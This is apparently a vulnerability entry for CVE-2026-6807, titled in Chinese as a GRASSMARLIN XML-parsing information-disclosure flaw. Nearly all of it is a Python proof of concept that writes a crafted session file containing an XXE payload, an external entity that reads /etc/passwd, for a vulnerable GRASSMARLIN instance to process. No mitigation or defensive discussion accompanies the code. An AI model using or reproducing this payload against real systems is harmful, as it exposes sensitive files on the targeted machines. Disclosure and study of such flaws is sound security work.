CVE-2026-6807 GRASSMARLIN XML解析信息泄露漏洞

import os # Simulating crafted session data containing an XXE payload # This payload attempts to read a sensitive file (e.g., /etc/passwd) xml_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <session> <user>&xxe;</user> <action>login</action> </session> """ # Save the crafted payload to a file that GRASSMARLIN might process as session data with open('malicious_session.xml', 'w') as f: f.write(xml_payload) print("Malicious session data generated: malicious_session.xml") print("If processed by a vulnerable GRASSMARLIN instance, this may expose sensitive file contents.")